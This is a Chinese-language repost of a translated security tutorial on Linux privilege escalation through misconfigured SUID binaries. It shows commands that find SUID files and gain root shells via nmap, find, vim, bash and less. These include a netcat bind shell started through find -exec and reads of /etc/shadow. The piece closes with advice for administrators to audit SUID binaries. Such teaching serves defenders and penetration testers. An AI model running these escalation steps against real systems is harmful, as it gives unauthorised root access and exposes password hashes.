未加星标

【安全科普】Linux提权——利用可执行文件SUID

字体大小 | |
[网络安全 所属分类 网络安全 | 发布者 店小二05 | 时间 | 作者 红领巾 ] 0人收藏点击收藏
【安全科普】linux提权——利用可执行文件SUID 2017-10-10 10:50:02 阅读:1524次 点赞(0) 收藏 来源: pentestlab.blog
【安全科普】Linux提权——利用可执行文件SUID 作者:shan66
【安全科普】Linux提权——利用可执行文件SUID

译者:shan66

预估稿费:90RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


SUID

SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。那么,为什么要给Linux二进制文件设置这种权限呢?其实原因有很多,例如,程序ping需要root权限才能打开网络套接字,但执行该程序的用户通常都是由普通用户,来验证与其他主机的连通性。

但是,如果某些现有的二进制文件和实用程序具有SUID权限的话,就可以在执行时将权限提升为root。其中,大家熟知的具有提权功能的Linux可执行文件包括:

Nmap Vim find Bash More Less Nano cp

以下命令可以找到正在系统上运行的所有SUID可执行文件。准确的说,这个命令将从/目录中查找具有SUID权限位且属主为root的文件并输出它们,然后将所有错误重定向到/dev/null,从而仅列出该用户具有访问权限的那些二进制文件。

find/-userroot-perm-4000-print2>/dev/null find/-perm-u=s-typef2>/dev/null find/-userroot-perm-4000-execls-ldb{}\;
【安全科普】Linux提权——利用可执行文件SUID

查找SUID可执行文件

以上所有二进制文件都将以root用户权限来执行,因为它们的权限中包含“s”,并且它们的属主为root。

ls-l/usr/bin/nmap -rwsr-xr-x1rootroot7806762008-04-0810:04/usr/bin/nmap
【安全科普】Linux提权——利用可执行文件SUID

SUID可执行文件——Nmap


Nmap

较旧版本的Nmap(2.02至5.21)带有交互模式,从而允许用户执行shell命令。由于Nmap位于上面使用root权限执行的二进制文件列表中,因此可以使用交互式控制台来运行具有相同权限的shell。

nmap-V
【安全科普】Linux提权——利用可执行文件SUID

识别Nmap的版本

为了启动交互模式,可以使用Nmap参数“interactive”。


【安全科普】Linux提权——利用可执行文件SUID

Nmap——交互模式

以下命令将提供一个提权后的shell。

nmap>!sh sh-3.2#whoami root
【安全科普】Linux提权——利用可执行文件SUID

通过Suid Nmap二进制文件获得Root Shell

此外,还有一个Metasploit模块,也可以通过SUID Nmap二进制文件进行提权。

exploit/unix/local/setuid_nmap

Find

实用程序find用来在系统中查找文件。同时,它也有执行命令的能力。 因此,如果配置为使用SUID权限运行,则可以通过find执行的命令都将以root身份去运行。

touchpentestlab findpentestlab-execwhoami\;
【安全科普】Linux提权——利用可执行文件SUID

Find执行命令的功能

由于大多数Linux操作系统都安装了netcat,因此可以将提权后的命令提升为root shell。

findpentestlab-execnetcat-lvp5555-e/bin/sh\;
【安全科普】Linux提权——利用可执行文件SUID

通过Find运行Netcat

连接到打开的端口就能得到一个root shell。

netcat192.168.1.1895555 id cat/etc/shadow
【安全科普】Linux提权——利用可执行文件SUID

通过Find取得Root Shell


Vim

Vim的主要用途是用作文本编辑器。 但是,如果以SUID运行,它将继承root用户的权限,因此可以读取系统上的所有文件。

vim.tiny/etc/shadow
【安全科普】Linux提权——利用可执行文件SUID

Vim ——以root权限读取文件

此外,我们还可以通过Vim运行shell来执行只有root才能完成的操作。

vim.tiny #PressESCkey :setshell=/bin/sh :shell
【安全科普】Linux提权——利用可执行文件SUID

Vim——Root Shell


Bash

以下命令将以root身份打开一个bash shell。

bash-p bash-3.2#id uid=1002(service)gid=1002(service)euid=0(root)groups=1002(service)
【安全科普】Linux提权——利用可执行文件SUID

Bash——Root Shell


Less

程序Less也可以执行提权后的shell。同样的方法也适用于其他许多命令。

less/etc/passwd !/bin/sh
【安全科普】Linux提权——利用可执行文件SUID

Less——Root Shell


结束语

由于通过误设SUID的可执行文件可以轻而易举的实现提权,因此,管理员应仔细审查所有SUID二进制文件,看看到底是否真的需要使用提权后运行。在这个审查过程中,应该特别关注能够在系统上执行代码或写入数据的那些应用程序。


【安全科普】Linux提权——利用可执行文件SUID
【安全科普】Linux提权——利用可执行文件SUID 本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://pentestlab.blog/2017/09/25/suid-executables/

本文网络安全相关术语:网络安全工程师 网络信息安全 网络安全技术 网络安全知识

主题: LinuxSU360数据其实
tags: root,SUID,权限,提权,shell,文件,Nmap,可执行文件,二进制,执行,Root,Linux,bin,命令,用户
分页:12
转载请注明
本文标题:【安全科普】Linux提权——利用可执行文件SUID
本站链接:http://www.codesec.net/view/565554.html
分享请点击:


1.凡CodeSecTeam转载的文章,均出自其它媒体或其他官网介绍,目的在于传递更多的信息,并不代表本站赞同其观点和其真实性负责;
2.转载的文章仅代表原创作者观点,与本站无关。其原创性以及文中陈述文字和内容未经本站证实,本站对该文以及其中全部或者部分内容、文字的真实性、完整性、及时性,不作出任何保证或承若;
3.如本站转载稿涉及版权等问题,请作者及时联系本站,我们会及时处理。
登录后可拥有收藏文章、关注作者等权限...
技术大类 技术大类 | 网络安全 | 评论(0) | 阅读(42)